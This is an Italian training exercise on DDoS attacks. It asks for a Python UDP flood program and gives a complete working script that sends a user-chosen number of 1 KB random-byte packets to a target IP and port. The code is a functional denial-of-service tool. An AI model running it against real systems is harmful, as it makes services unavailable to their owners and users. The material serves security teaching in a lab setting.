

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'invio massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target
- Il programma deve richiedere l'inserimento della porta target
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento:** per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare

```
main.py
1 import socket
2 import random
3
4 def udp_flood(target_ip, target_port, packet_size, num_packets):
5     # Creazione del socket UDP
6     udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
7
8     # Generazione di un pacchetto da 1 KB con byte casuali
9     packet_data = bytearray(random.getrandbits(8) for _ in range(packet_size))
10
11     # Invio dei pacchetti specificati
12     for _ in range(num_packets):
13         udp_socket.sendto(packet_data, (target_ip, target_port))
14
15     udp_socket.close()
16     print(f"UDP flood completato! {num_packets} pacchetti da {packet_size} byte inviati a {target_ip}:{target_port}")
17
18 def main():
19     print("Benvenuto nel programma di simulazione UDP Flood!")
20     target_ip = input("Inserisci l'IP target: ")
21     target_port = int(input("Inserisci la porta target: "))
22     packet_size = 1024 # 1 KB
23     num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))
24
25     udp_flood(target_ip, target_port, packet_size, num_packets)
26
27 if __name__ == "__main__":
28     main()
29
```

